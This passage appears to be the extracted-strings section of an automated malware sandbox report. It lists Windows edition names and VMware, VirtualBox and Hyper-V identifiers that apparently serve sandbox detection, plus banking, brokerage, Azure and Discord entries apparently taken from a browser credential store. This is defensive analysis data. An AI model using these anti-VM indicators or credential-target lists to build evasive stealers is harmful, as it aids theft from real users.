Source: Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 11 Server Enterprise without Hyper-V (core)
Source: Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: (Windows 2012 R2 Microsoft Hyper-V Server
Source: Rnteb46TuM.exe, Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Microsoft Hyper-V Server
Source: Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 6Windows 2012 R2 Server Standard without Hyper-V (core)
Source: Rnteb46TuM.exe, Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Server Standard without Hyper-V
Source: Rnteb46TuM.exe, Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Server Datacenter without Hyper-V (core)
Source: Rnteb46TuM.exe, Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Server Datacenter without Hyper-V (core)
Source: Amcache.hve.6.dr	Binary or memory string: vmci.sys
Source: Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 0Windows 8 Server Standard without Hyper-V (core)
Source: Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 6Windows 8.1 Essential Server Solutions without Hyper-V
Source: EBFBKFBG.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: vmware
Source: Rnteb46TuM.exe, Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Server Standard without Hyper-V
Source: Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 4Windows 8 Essential Server Solutions without Hyper-V
Source: Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2012 Server Datacenter without Hyper-V (full)
Source: Rnteb46TuM.exe, Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Essential Server Solutions without Hyper-V
Source: Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 8Windows 2012 R2 Server Enterprise without Hyper-V (full)
Source: Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2016 Server Datacenter without Hyper-V (full)
Source: Amcache.hve.6.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.6.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.6.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 2Windows 8 Server Enterprise without Hyper-V (core)
Source: Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: "Windows 8 Microsoft Hyper-V Server
Source: Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 4Windows 8.1 Server Datacenter without Hyper-V (full)
Source: explorti.exe, explorti.exe, 0000000B.00000002.2400723434.0000000001107000.00000040.00000001.01000000.0000000D.sdmp, explorti.exe, 0000000F.00000002.3033534217.0000000001107000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 11 Server Datacenter without Hyper-V (full)
Source: EBFBKFBG.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Rnteb46TuM.exe, Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Server Standard without Hyper-V
Source: EBFBKFBG.0.dr	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: Rnteb46TuM.exe, Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Microsoft Hyper-V Server
Source: Amcache.hve.6.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2012 Server Enterprise without Hyper-V (core)
Source: Rnteb46TuM.exe, Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Server Enterprise without Hyper-V (full)
Source: EBFBKFBG.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: Rnteb46TuM.exe, Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Server Datacenter without Hyper-V (core)
Source: Rnteb46TuM.exe, Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Server Standard without Hyper-V (core)
Source: Rnteb46TuM.exe, Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Essential Server Solutions without Hyper-V
Source: Rnteb46TuM.exe, Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Server Standard without Hyper-V (core)
Source: Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Hyper-V (guest)
Source: Amcache.hve.6.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: EBFBKFBG.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: EBFBKFBG.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: Rnteb46TuM.exe, Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Microsoft Hyper-V Server
Source: Rnteb46TuM.exe, Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Essential Server Solutions without Hyper-V
Source: Amcache.hve.6.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.6.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Rnteb46TuM.exe, Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Server Datacenter without Hyper-V (full)
Source: Rnteb46TuM.exe, Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000086C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000077C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: ~VirtualMachineTypes
Source: EBFBKFBG.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: Rnteb46TuM.exe, Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000086C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000077C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: ]DLL_Loader_VirtualMachine
Source: EBFBKFBG.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: Rnteb46TuM.exe, Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Microsoft Hyper-V Server
Source: Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000086C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000077C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: DLL_Loader_Marker]DLL_Loader_VirtualMachineZDLL_Loader_Reloc_Unit
Source: EBFBKFBG.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: EBFBKFBG.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: /Windows 2012 R2 Server Standard without Hyper-V
Source: Rnteb46TuM.exe, Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Server Standard without Hyper-V
Source: Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: )Windows 8 Server Standard without Hyper-V
Source: AFBFHDBKJE.exe, 00000008.00000002.2352184235.00000000002E7000.00000040.00000001.01000000.00000009.sdmp, explorti.exe, 0000000A.00000002.3337947357.0000000001107000.00000040.00000001.01000000.0000000D.sdmp, explorti.exe, 0000000B.00000002.2400723434.0000000001107000.00000040.00000001.01000000.0000000D.sdmp, explorti.exe, 0000000F.00000002.3033534217.0000000001107000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: Rnteb46TuM.exe, Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Server Enterprise without Hyper-V (full)
Source: EBFBKFBG.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2016 Server Datacenter without Hyper-V (core)
Source: Rnteb46TuM.exe, Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Server Datacenter without Hyper-V (full)
Source: EBFBKFBG.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552
Source: Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2016 Server Enterprise without Hyper-V (core)
Source: Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: %Windows 2012 Microsoft Hyper-V Server
Source: Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Hyper-V
Source: Amcache.hve.6.dr	Binary or memory string: VMware
Source: Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: $Windows 8.1 Microsoft Hyper-V Server
Source: Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: ,Windows 2012 Server Standard without Hyper-V
Source: EBFBKFBG.0.dr	Binary or memory string: discord.comVMware20,11696487552f
Source: Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 10 Server Datacenter without Hyper-V (full)
Source: Rnteb46TuM.exe, Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Microsoft Hyper-V Server
Source: Rnteb46TuM.exe, Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Server Enterprise without Hyper-V (core)
Source: Amcache.hve.6.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: EBFBKFBG.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 8Windows 2012 R2 Server Datacenter without Hyper-V (core)
Source: Rnteb46TuM.exe, Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Essential Server Solutions without Hyper-V
Source: Rnteb46TuM.exe, Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Essential Server Solutions without Hyper-V
Source: EBFBKFBG.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: Rnteb46TuM.exe, 00000000.00000002.2299175818.0000000001A69000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 0000000A.00000002.3339390181.00000000018F1000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 0000000A.00000002.3339390181.00000000018B1000.00000004.00000020.00020000.00000000.sdmp, 6e6e496542.exe, 0000000C.00000002.2417828325.000000000176A000.00000004.00000020.00020000.00000000.sdmp, 6e6e496542.exe, 0000000C.00000002.2417828325.0000000001715000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 8Windows 2012 R2 Server Datacenter without Hyper-V (full)
Source: Rnteb46TuM.exe, Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Server Standard without Hyper-V (core)
Source: Rnteb46TuM.exe, Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Server Enterprise without Hyper-V (core)
Source: EBFBKFBG.0.dr	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: Rnteb46TuM.exe, Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Server Enterprise without Hyper-V (core)
Source: Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 7Windows 2012 Essential Server Solutions without Hyper-V
Source: Rnteb46TuM.exe, Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Server Enterprise without Hyper-V (full)
Source: Amcache.hve.6.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Rnteb46TuM.exe, Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Server Enterprise without Hyper-V (core)
Source: Rnteb46TuM.exe, Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Server Datacenter without Hyper-V (full)
Source: EBFBKFBG.0.dr	Binary or memory string: AMC password management pageVMware20,11696487552
Source: Rnteb46TuM.exe, Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Server Datacenter without Hyper-V (full)
Source: EBFBKFBG.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: EBFBKFBG.0.dr	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: %Windows 2016 Microsoft Hyper-V Server
Source: Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2012 Server Enterprise without Hyper-V (full)
Source: EBFBKFBG.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 10 Server Enterprise without Hyper-V (core)
Source: Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 11 Server Datacenter without Hyper-V (core)
Source: Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 7Windows 2016 Essential Server Solutions without Hyper-V
Source: EBFBKFBG.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: +Windows 8.1 Server Standard without Hyper-V
Source: Rnteb46TuM.exe, Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Server Standard without Hyper-V
Source: EBFBKFBG.0.dr	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 10 Server Datacenter without Hyper-V (core)
Source: Amcache.hve.6.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.6.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.6.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: 6e6e496542.exe, 0000000C.00000002.2417828325.0000000001715000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: Rnteb46TuM.exe, Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Server Enterprise without Hyper-V (core)
Source: Amcache.hve.6.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.6.dr	Binary or memory string: VMware VMCI Bus Device
Source: Rnteb46TuM.exe, Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Server Datacenter without Hyper-V (core)
Source: Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 4Windows 8.1 Server Enterprise without Hyper-V (full)
Source: Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2016 Server Enterprise without Hyper-V (full)
Source: Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 2Windows 8 Server Datacenter without Hyper-V (core)
Source: Rnteb46TuM.exe, Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Server Enterprise without Hyper-V (core)
Source: Amcache.hve.6.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: EBFBKFBG.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
